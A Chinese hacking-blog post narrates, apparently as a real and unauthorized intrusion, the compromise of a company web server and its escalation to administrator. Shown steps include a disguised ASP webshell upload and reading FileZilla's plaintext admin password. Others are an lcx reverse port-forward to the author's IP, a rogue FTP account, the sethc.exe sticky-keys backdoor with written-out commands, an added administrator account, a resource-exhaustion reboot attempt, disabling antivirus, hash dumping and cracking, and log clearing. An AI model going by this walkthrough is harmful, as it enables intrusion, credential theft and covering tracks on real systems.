危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2291 浏览19862030

记一次FileZillaServer提权

前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的。在后台通过“产品图片”上传了一个改名为“2010.asp;x.jpg”的asp一句话木马,顺利得到了webshell,webshell的地址为公司网址/pic/22302010.asp;x.jpg”。

使用一句话木马的“Get Drivers”功能列出了C、D、E、F、G、H盘的大小和可用空间的大小,看来权限还比较大,于是我就想来尝试一下提权。使用一句话木马获得网站的物理路径后尝试上传aspx木马ASPXSpy2009,上传成功了,但在访问时却不匹配,看来这个网站不支持aspx文件啊。

为了方便操作,我使用一句话木马上传了一个asp大马,通过asp大马发现服务器权限设置的很松,几乎可以浏览任何目录,也可以浏览别的网站的目录,并且有写权限。“c:\windows\system32\”目录不出意料的只有读取权限,WScript.Shell没有删除,尝试使用系统中的“c:\windows\system32\cmd.exe”来执行命令,提示拒绝访问,我上传了一个cmd.exe到网站目录下,这次可以执行命令了。通过执行“netstat -an”命令发现3389端口开放了,使用我的远程桌面连接程序连接一下,发现可以连接,因此登录服务器的3389就成了我的一个目标。通过“netstart”命令还发现服务器安装了FileZilla Server FTP server.McAfee杀毒软件以及MSSQL。

我在服务器的硬盘上翻查着有用的信息,发现服务器上有很多网站,但没有找到sa用户的密码,甚至没有发现服务器上的任何一个网站使用的是MSSQL数据库。继续翻查硬盘,我拿到的webshell的网站是在“F:\dongtai\”目录下,在“F:\wood\”目录下发现也有很多网站,在一个网站的目录下尝试上传ASPXSpy,这次终于可以运行了。

有了aspx的webshell使用起来就更方便了,首先WScript.Shell可以直接调用系统目录下的cmd.exe就能执行命令了,不用再像调用网站目录下的cmd.exe那样要带网站目录的路径才行,另外就是利用ASPXSpy的“IIS Spy”功能发现了服务器上运行着140个网站。我测试了一下,发现aspx的webshell对于“c:\window\system32\”目录下的文件同样只有读取权限。

既然webshell已经拿到手了,就要考虑提权了,一个网站下的webshell居然可以浏览别的网站目录下的文件,还有写权限,看来管理员的安全做的实在不怎么样啊,不试试提权还真对不起他了。想了想常用的提权方法,好像都用不上,对了,刚才不是发现服务器上安装了FileZilla Server FTP server吗,说不定它就是一个突破口。在“D:\ProgramFiles\FileZilla Server\”目录下找到了FileZilla Server的安装目录,尝试复制该目录下的FileZilla server.exe,复制成功了,这说明该目录可写。

这对我绝对是个好消息,通过tasklist命令发现了FileZilla server.exe和FileZilla Server Interfac.exe正在运行,使用木马替换上面的任意一个文件,等到FileZilla Server重启或系统重启后就会运行我们的木马了,到此我已经找到了一种提权的方法。这个替换文件的提权方法虽然可行,但弊端也很大,即使提权成功了,也会把服务器上的FileZilla Server搞挂,很容易被管理员发现,提权本来就是无聊玩玩,为此影响到服务器的正常运行那可就不好了。

如果真要使用替换文件的方法来提权,我们还可以考虑对FileZilla server.exe进行文件插码,加入添加一个系统管理员用户的代码,这样当系统重启后就会添加一个管理员用户,使用添加的管理员用户再直接登录3389也是一种提权方法,这比使用木马直接替换FileZilia server.exe要更好,但仍然要对FileZilla server.exe进行修改,也可能会被管理员发现,再来找找,说不定还有更好的方法。

我在FileZilla Server的安装目录下发现有一个FileZiIlaS erver.xml文件,使用websbell查看它的内容,发现它保存着FTP软件FileZilla Server的用户信息。

其中“User Name”后面是FTP用户的用户名,“Pass”后面是经过MD5加密后的密码值(32位),“Permission Dir”是该FTP用户可以管理的目录,这里为“F:”,也就是整个F盘。“Permissions”下面是该FTP用户的权限设置,比如“FileWrite”的值为“1”,就说明该FTP用户在该目录下有写权限,如果为“0”,则表示没有写权限。经测试,FileZilla Server.xml同样可以写,于是我考虑通过修改这个文件来添加一个对C盘有完全权限的用户,然后再通过FTP登录后利用shift后门来提权。我不知道具体怎样通过修改FileZilla Server.xml来添加用户,为了保险起见,还是先在我的电脑上测试好后再在服务器上进行修改吧。

在服务器的H盘根目录下发现了一个名为FileZilla_Server-0_9_31.exe的文件,估计就是服务器上FileZillaServer的安装文件,下载回来后,在虚拟机里进行了安装,软件是英文的,一路点击“Next”,不用做任何修改,最后点击“Install”后就可以完成安装了。FileZilla Server的管理端口默认为14147,默认管理密码为空,直接点击“OK”按钮,看到那个“Logged on”的提示就说明登录成功了。

点击“Edit”菜单下的“Settings”就来到了软件的设置界面,在这里可以设置客户端的连接端口、连接超时等,点击“Admin Interface seetings”,选中“Change admin password”,输入要设置的新密码,就可以修改FileZiila Server的管理密码了。

 "IP Addresses which are allowed to connect to the admininterface:”是设置允许哪些IP连接到管理控制台,默认情况下只有127.0.0.1可以,这给我们的提权带来了一些小麻烦,如果允许任何IP连接到管理控制台,那提权就太简单了。我发现这些设置都保存在了FileZilla Server安装目录下的FileZiIla Server Interface.xml文件中,使用记事本打开后就会发下里面的内容。

很简单的,“Last Server Port”是管理端口,这里为默认的14147,“Last Server Address”是上次登录的IP,“Last Server Password”是管理密码,修改了管理密码的话会在这里显示出来,我在设置中把密码修改为了hackerxfiles,重新登录一下管理控制台,再打开FileZillaServer Interface.xml文件,在“Last Server Password”后面看到了刚修改的密码hackerxfiles。

到此我们就知道了FileZilla Server的管理密码是以明文的形式保存在FileZilla Server安装目录下的FileZilla ServerInterface.xml文件中,真有点儿搞不明白软件的作者是怎么想的,普通FTP用户的密码经过MD5加密后保存了,而重要的控制台管理密码却以明文的形式保存在文件中,难道是疏忽了?

我马上想到服务器上FileZilla Server的控制台管理密码是否修改了,使用webshell查看服务器上FileZilla Server安装目录下的FileZilia Server Interface.xml.发现密码果然更改了,修改为了bmlink,把它记录下来,说不定有什么用的。下面来看怎样添加用户,点击有一个小人头像的“Users”按钮就打开了用户管理界面,在这里可以增加、删除FTP用户,并对FTP用户的主目录、权限等进行设置。右上角的“Users”编辑框下会显示所有的FTP用户列表,由于还没添加任何FTP用户,因此用户列表是空的。我们来添加一个用户,点击“Add”按钮会弹出了“Add useraccount”对话框,输入想要添加的FTP用户的名字,这里我输入了hackefXfiles,下面的选择用户组不用管,点击OK按钮后就添加了一个用户,我们来给这个用户设置一个密码,选择“Password”单选框,在后面输入想要设置的密码,这里我设置密码为123456。

接下来设置这个FTP用户的主目录,点击“Sharefolders”选择,点击“Add”按钮来添加主目录,这里主目录我选择了c盘,单击一下刚才添加的目录“c:\”,把右面的权限都选上。然后点击左下角的“OK”按钮,用户就添加完成了,试着使用该用户登录一下FTP,功能一切正常。

本机会添加用户了,就该通过修改FileZilla Server.xml来给服务器添加用户了。本机添加hackerxfiles这个FTP用户后,本来我想通过直接复制添加的用户信息到服务器上,但不确定用户信息具体是从哪里开始哪里和结束,为了稳妥起见,我决定采用把服务器上的FileZilla Server.xml下载到本机,覆盖本机的FileZilla Server.xml,添加好用户后再使用添加好用户的FileZilla Server.xml覆盖服务器上的FileZilla Server.xml。

把服务器上的FileZilla Server.xml下载到本机并覆盖本机的FileZilla Server.xml,为了使新的FileZilla Server.xml生效,还需要依次点击开始菜单中的Stop FileZilla Server和Start FileZilla Server来重启FileZilla Server。登录管理控制台,添加一个名为test,密码为123456,对c盘有完全权限的用户,然后把FileZilla Server,xml上传到服务器中.备份服务器上原来的FileZilla Server.xml后覆盖。只要服务器重启或FileZilla Server重启,那么添加的用户就会生效了,管理员一般不会无缘无故重启的,看来只能耐心的等等了。

为了知道服务器是否重启,我使用webshell执行命令systeminfo,发现了如下的命令回显“系统启动时间:15天13小时44分19秒”,这说明系统已经15天没有重启了,还是耐心的等待吧。我每天都使用websbell执行一次systeminfo命令来查看服务器重启了没有,但令我失望的是系统启动时间一天一天增加,可就是不见服务器重启,我等不及了,看来要另想别的办法了。

使用什么办法才可以让服务器重启昵,我搜索了一下在webshell下重启服务器的方法,大多数都是消耗完服务器的系统资源让服务器重启,我找到了一个guest权限下可以运行的让服务器重启的程序,原理也是消耗系统资源,先在虚拟机中测试了一下效果,我的虚拟机系统是512MB的内存,运行程序后很快系统就假死了,只能重新启动。通过webshell把程序上传到服务器中,运行后我就去干别的事了,过了3个多小时再去webshell上查看,发现服务器还是没有重启,我叉运行了一次程序,第二天再去查看,服务器依然没有重启。估计是服务器配置比较高的原因吧,通过webshell让服务器重启的方法看来也行不通了。

静下心来想了一想,我现在使用的提权方法,只需要等服务器重启就可以提权成功了,那有没有别的方法呢?通过搜索发现网上介绍的FileZilla Server的提权方法除了我上面使用的修改FileZilla Server.xml添加FTP用户外,还提到了一种方法就是通过FPipe把FileZilla Server的‘默认管理端口转发到别的端口,这有点儿类似于Serv-U的转发端口提权。我先在虚拟机里测试了一下,在一台支持aspx的虚拟机的Windows7系统中安装FileZilla Server,作为假想服务器,IP地址为192.168.32.128,在虚拟机里的另一台Windows 2003系统中只安装FileZilla Server的“Administralion interface”,也就是只安装FileZilla Server的管理控制台,安装好后尝试登录假想服务器系统中FileZilla Server的控制台,尽管密码正确却不能连接,因为14147端口绑定了登录lP为127.0.0.1,也就是只能在本机登录。通过webshell把FPipe.exe上传到网站根目录下,然后执行以下命令“C:\www\FPipe.exe—v—l 12345-r 14147127.0.0.1”,其中“C:\www\”就是网站目录,该命令的意思就是把连接到12345端口的数据转发到l4147端口,命令执行后使用FileZilla Server IntBrface连接l92.168.32.128的12345端口,成功登录了。

在虚拟机里测试成功了,下面就来到远程服务器上实际提权,使用虚拟机里系统中的McAfee杀毒软件扫描了一下我使用的FPipe.exe,没有报毒,省得做免杀了。把FPipe.exe上传到服务器的网站目录下,执行端口转发命令后满怀希望的使用控制台程序FileZilla Server Interface进行连接,却还是连接不上,郁闷了。通过执行“netstat -an”命令发现12345端口在监听了,就是连不上,telnet-下服务器的12345端口,连接失败,可能是服务器上的防火墙阻止了连接,后来登录到服务器后确实发现服务器上开着系统自带的防火墙。我在虚拟机里安装了FileZⅢa Server的系统中打开Windowa自带的防火墙,还是使用FPipe转发端口,用控制台程序FileZilia Server Interface连接就连不上了,软件提示“Connection to server lost”,这个方法又没有成功。

睡了一觉后,我打算再碰碰运气,首先使用htran从服务器上反弹了一个代理到我的电脑上,使用SocksCap32连接上代理后再进行连接,依然登录不成功。这时候我又想到了在登录内网电脑的3389时用到的lcx,可不可以把服务器的14147端口转发到我的电脑上来进行登录呢?反正在网上没有看到使用这个方法的,来试试吧。在本机上安装FileZilla Server的Administration interface,然后

在本机抗行命令“lcx.exe。listen 5114147”,我又找了一个免杀McA fee的lcx.e上传到服务器的网站目录下,在webshell中执行“lcx.cxe -slave123,123.123.123 51 127.0.0.'1 14147”,其中假设123.123.I 23.123就是我电脑的公网IP地址。成功把数据转发了出来,使用FileZilla Server Interface连接,连接lP就写127.0.0.1,

端口使用默认的14147,连接密码就写找到的管理密码bmlink,点击“Ok”按钮后过了一两秒钟终于登录成功了!马上添加了一个名为est,密码为123456,对c盘有完全权限的用户,然后使用test用户成功登录了FTP。登录FTP后切换到C:\WINDOWS\system32\dllcache目录下,然后执行命令“getsethc.cxe”,把服务器上的C:\WINDOWS\system32\dllcache目录下的sethc.exe下载到本机备份,方便过一会儿恢复使用,执行“delsethc.exe”把当前量录下的sethc.exe删除,再执行“get cmd.exe“把服务器上C:\WINDOWS\system32\dllcache目录下的cmd.exe下载到本地,然后把下载回来的cmd.exe重命名为sethc.exe,然后再通过命令“put sethc.exe”把刚才改名为sethc.exe的cmd.exe上传到服务器的c:\WINDOWS\system32\dIJcache目录下,然后执行命令“cd”把目录切换到C:\WINDOWS\system32\目录下,分别执行命令“del sethc.exe”,  “put sethc.exe”。

执行完这些命令后就完成了在服务器上使用cmd.exe替换sethc.exe,我们使用远程桌面连接程序连接服务器的IP,在出来的用户登录界面下按5下shift键,就出来了cmd窗口。

在这个cmd窗口中执行命令“net user 123 123 /add”,“net localgroup administrators 123 /add",添加了一个用户名和密码都为123的管理员用户,然后使用23用户登录服务器的3389,登录3389后我叉想抓取管理员用户的密码hash值,但上传PwDump71时被McAfee查杀了,选择McAfee的“禁用按访问扫描”后把PwDump71传了上去,成功抓取了用户的hash,使用7.9G的彩虹表成功破解出了管理员的密码为admin!@#321,然后使用管理员用户登录了远程桌面。

把替换的sethc.exe恢复过来,再把建立的FTP用户删除掉,清理一下FileZilla Server的日志,提权就完成了。整个提权的过程中没用到什么新技术,都是一些老方法和老工具的组合,从找到提权方法到找到更好的提权方法,根据遇到的问题不断变化应对的方法,最终用自己满意的方法完成了提权。